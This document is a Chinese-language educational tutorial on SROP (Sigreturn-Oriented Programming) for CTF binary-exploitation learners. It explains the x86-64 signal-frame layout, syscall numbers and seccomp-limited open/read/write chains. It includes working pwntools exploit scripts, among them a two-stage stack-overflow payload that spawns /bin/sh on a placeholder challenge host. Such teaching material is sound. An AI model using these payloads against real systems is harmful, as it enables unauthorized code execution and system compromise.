SROP基础
SROP基础
本文适合
已经理解 ROP基础 和 shellcode与syscall,但在 gadget 稀缺、需要一次性控制多个寄存器时卡住的 Pwn 学习者。学完你能:判断 SROP 是否适用,构造 SigreturnFrame 控制寄存器,并用 rt_sigreturn 组织 execve、mprotect 或 ORW 利用链
SROP 是 Sigreturn-Oriented Programming,信号返回导向编程。它利用 Linux 信号恢复机制,一次性控制大量寄存器。
信号和 sigreturn
Linux 程序收到信号时,内核会保存当前上下文,然后执行信号处理函数。
处理结束后,程序通过 sigreturn 恢复之前的寄存器状态。
SROP 利用的就是这个“从用户栈恢复寄存器上下文”的机制。
为什么 SROP 有用
普通 ROP 需要多个 gadget 设置寄存器。
如果 gadget 不够,设置 rdi、rsi、rdx、rax 会很困难。
SROP 可以伪造一个 signal frame,让 sigreturn 一次性恢复攻击者指定的寄存器。
这对 syscall ROP 特别有用。
需要什么条件
通常需要:
- 能控制栈内容。
- 能触发
syscall。 - 能让
rax变成 sigreturn 对应编号。 - 能布置伪造 signal frame。
不同架构和系统调用号不同,不能盲套。
常见目标
SROP 常用于构造:
execve("/bin/sh", 0, 0)或者在 seccomp沙箱 下构造:
open/read/write如果 mprotect 可用,也可以先改内存权限,再执行 shellcode。
SROP 和普通 ROP 的区别
普通 ROP 是一段段 gadget 顺序设置状态。
SROP 是伪造一次完整上下文恢复。
它不是替代所有 ROP,而是在 gadget 稀缺或需要一次控制多个寄存器时特别有用。
SigreturnFrame 结构详解
当内核执行 sigreturn 系统调用时,它从用户栈上读取一个 ucontext_t 结构体来恢复所有寄存器。在 x86-64 Linux 中,这个结构体的布局如下(以 pwntools 的 SigreturnFrame 为准):
偏移 字段 对应寄存器
0x00 uc_flags (标志)
0x08 &uc_link (链表指针)
0x10 uc_stack (信号栈信息)
0x28 r8
0x30 r9
0x38 r10
0x40 r11
0x48 r12
0x50 r13
0x58 r14
0x60 r15
0x68 rdi
0x70 rsi
0x78 rbp
0x80 rbx
0x88 rdx
0x90 rax
0x98 rcx
0xa0 rsp
0xa8 rip
0xb0 eflags
0xb8 cs / gs / fs / ss (段寄存器)
0xc0 &fpstate (FPU 状态)
...pwntools 提供了 SigreturnFrame() 类来自动构造:
from pwn import *
frame = SigreturnFrame()
frame.rax = 59 # syscall number for execve
frame.rdi = bin_sh_addr # "/bin/sh" 字符串地址
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr # syscall; ret 的地址
frame.rsp = bss_addr # 可选:设置新栈指针系统调用号速查
SROP 中必须把 rax 设置为正确的系统调用号。x86-64 Linux 常见调用号:
rax = 0 -> read(fd, buf, count)
rax = 1 -> write(fd, buf, count)
rax = 2 -> open(path, flags, mode)
rax = 59 -> execve(path, argv, envp)
rax = 15 -> rt_sigreturn (信号返回本身)
rax = 10 -> mprotect(addr, len, prot)
rax = 37 -> alarm(seconds)完整表可在 /usr/include/asm/unistd_64.h 中查看,或用以下命令:
cat /usr/include/asm/unistd_64.h | grep __NR_构造 sigreturn 的方法
SROP 的前提之一是 rax = 15(__NR_rt_sigreturn)。几种常见构造方式:
方式一:直接 syscall gadget
如果二进制中有 syscall; ret,可以用以下方式设置 rax:
# 如果有 read(0, addr, size) 可以利用
# 先用 read 往栈上写入 sigreturn frame
# 然后用 pop rax; ret 把 rax 设为 15
pop_rax = 0x401234 # pop rax; ret
syscall_ret = 0x401236 # syscall; ret方式二:利用 read 的返回值
read() 系统调用返回实际读取的字节数。如果精确控制输入长度为 15 字节,rax 就会是 15。
# 第一阶段:read(0, stack_addr, 15) -> rax = 15
# 第二阶段:紧接着布置 sigreturn frame
# 第三阶段:sigreturn 恢复寄存器,跳转到目标方式三:pwntools 的 SigreturnFrame
pwntools 自动处理结构体布局,最方便:
from pwn import *
context.arch = 'amd64'
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = next(elf.search(b'/bin/sh'))
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_gadget
payload = b'A' * offset
payload += p64(pop_rax) # pop rax; ret
payload += p64(15) # rax = 15 (rt_sigreturn)
payload += p64(syscall_gadget) # syscall; ret
payload += bytes(frame) # sigreturn 会读取这个 frame 恢复寄存器完整 SROP exploit 示例
假设题目:程序通过 read(0, rsp, 0x400) 读取输入到栈上,二进制中没有任何 pop rdi/rsi/rdx gadget,但有 syscall; ret 和 pop rax; ret。
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
elf = ELF('./vuln')
p = remote('challenge.example.com', 10000)
# ---- 找 gadget ----
# 用 ROPgadget 搜索
syscall_ret = 0x4011bc # syscall; ret
pop_rax_ret = 0x4011b8 # pop rax; ret
bss_addr = elf.bss() + 0x500
# ---- 第一阶段:SROP 调用 read(0, bss, 0x300) ----
# 目的:把 "/bin/sh" 字符串和第二阶段 frame 读到 BSS
frame1 = SigreturnFrame()
frame1.rax = 0 # read
frame1.rdi = 0 # fd = stdin
frame1.rsi = bss_addr # buf = bss
frame1.rdx = 0x300 # count
frame1.rip = syscall_ret # read 返回后继续执行
frame1.rsp = bss_addr + 0x100 # 新栈位置
payload = b'A' * 8 # 假设 buffer 只有 8 字节溢出空间
payload += p64(pop_rax_ret)
payload += p64(15) # sigreturn
payload += p64(syscall_ret)
payload += bytes(frame1)
p.send(payload)
# ---- 第二阶段:往 BSS 写入 "/bin/sh" 和 execve frame ----
frame2 = SigreturnFrame()
frame2.rax = 59 # execve
frame2.rdi = bss_addr + 0x200 # 指向 "/bin/sh"
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_ret
frame2.rsp = bss_addr + 0x100
# 构造第二阶段 payload
stage2 = b'/bin/sh\x00' # 偏移 0x00
stage2 = stage2.ljust(0x100, b'\x00') # 填充到 0x100
stage2 += p64(pop_rax_ret) # 偏移 0x100: 新栈上的返回地址
stage2 += p64(15)
stage2 += p64(syscall_ret)
stage2 += bytes(frame2)
stage2 = stage2.ljust(0x200, b'\x00')
stage2 += b'/bin/sh\x00' # 偏移 0x200: "/bin/sh" 字符串
p.send(stage2)
p.interactive()SROP 与 seccomp 的配合
在 seccomp 沙箱题目中,execve 通常被禁用。SROP 仍然有用,可以构造 open-read-write 链:
# SROP 阶段一:open("flag", 0)
frame_open = SigreturnFrame()
frame_open.rax = 2 # open
frame_open.rdi = flag_str_addr
frame_open.rsi = 0
frame_open.rip = syscall_ret
# SROP 阶段二:read(fd, buf, 0x100)
frame_read = SigreturnFrame()
frame_read.rax = 0 # read
frame_read.rdi = 3 # fd(open 返回的文件描述符)
frame_read.rsi = output_addr
frame_read.rdx = 0x100
frame_read.rip = syscall_ret
# SROP 阶段三:write(1, buf, 0x100)
frame_write = SigreturnFrame()
frame_write.rax = 1 # write
frame_write.rdi = 1
frame_write.rsi = output_addr
frame_write.rdx = 0x100
frame_write.rip = syscall_ret每个 frame 通过 sigreturn 一次性恢复所有寄存器,不需要任何 pop rdi/rsi/rdx gadget。
常见误区
- 以为有 syscall 就一定能 SROP。
- 不检查是否能控制
rax。 - signal frame 布局按错架构。
- 忘记 seccomp 对最终 syscall 仍然生效。
- 把 SROP 当成入门 ret2libc 模板。
一句话判断
当你能控制栈并找到 syscall; ret,但缺少设置 rdi/rsi/rdx/rax 的完整 gadget,或者需要一次性恢复多个寄存器时,就考虑 SROP。
SROP 的关键是让 rax=15 触发 rt_sigreturn,再让内核从伪造 frame 中恢复你指定的寄存器状态。
题目中常见信号
- 小二进制 gadget 很少,但存在
syscall; ret。 - 程序有
read,可以把伪造 frame 写到栈或.bss。 - 能控制
rax,或能利用read返回长度把rax变成 15。 - 需要直接构造 syscall,而不是调用 libc。
- seccomp 只允许少量 syscall,需要精确组织 ORW。
核心概念
SROP 的最小链:
padding
pop rax; ret
15
syscall; ret
fake SigreturnFrameframe 中至少要设置:
rax = 目标 syscall number
rdi/rsi/rdx = syscall 参数
rip = syscall; ret
rsp = 下一阶段栈地址SROP 不绕过 seccomp。它只解决寄存器控制问题,最终 syscall 仍必须被沙箱允许。
最小分析流程
- 确认架构:
context.arch = "amd64"或对应架构。 - 搜索
syscall; ret和pop rax; ret。 - 如果没有
pop rax,检查能否用read返回值精确设置rax=15。 - 选择目标 syscall:
execve、mprotect、open/read/write。 - 选择 frame 所在位置:当前栈、
.bss、mmap 区或堆。 - 用 pwntools
SigreturnFrame()构造 frame。 - 单步调试确认
rt_sigreturn后寄存器与 frame 一致。 - 失败时检查 frame 架构、rsp、rax、seccomp 和栈地址可写性。
最小验证示例
from pwn import *
context.arch = "amd64"
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
payload = flat(
b"A" * offset,
pop_rax,
15,
syscall_ret,
bytes(frame),
)成功标准:执行 syscall 后内核按 frame 恢复寄存器,rip 落到 syscall_ret,并按 frame 中的 rax/rdi/rsi/rdx 执行目标调用。
常见利用 / 解题路线
路线总览:
路线一:SROP execve
适合无 seccomp 或允许 execve 的题。
rax=59, rdi="/bin/sh", rsi=0, rdx=0路线二:SROP mprotect + shellcode
适合 NX 开启但允许 mprotect,并且已有 shellcode 写入位置。
路线三:SROP ORW
适合 seccomp沙箱 禁止 execve,只允许读 flag。
open/openat -> read -> write路线四:read 返回值触发 sigreturn
没有 pop rax 时,精确发送 15 字节,让 read 返回值成为 rax=15。
常见失败原因
rax不是 15:触发的是普通 syscall,不是 sigreturn。- frame 架构错:i386、amd64、ARM64 frame 布局不同。
rsp指向不可控区域:sigreturn 后 ret 或下一阶段崩溃。rip不是syscall; ret:frame 恢复后没有执行目标 syscall。- seccomp 禁止目标调用:SROP 能设置寄存器,但不能绕过规则。
- 字符串地址无效:
/bin/sh或flag必须在可读内存中。
迷你案例
题目只有 syscall; ret,没有 pop rdi/rsi/rdx,但能栈溢出并有 pop rax; ret。
payload:
padding
pop rax; ret
15
syscall; ret
SigreturnFrame(rax=59, rdi="/bin/sh", rsi=0, rdx=0, rip=syscall_ret)如果远程有 seccomp 禁止 execve,把 frame 改成 open/read/write 三阶段,而不是继续尝试 /bin/sh。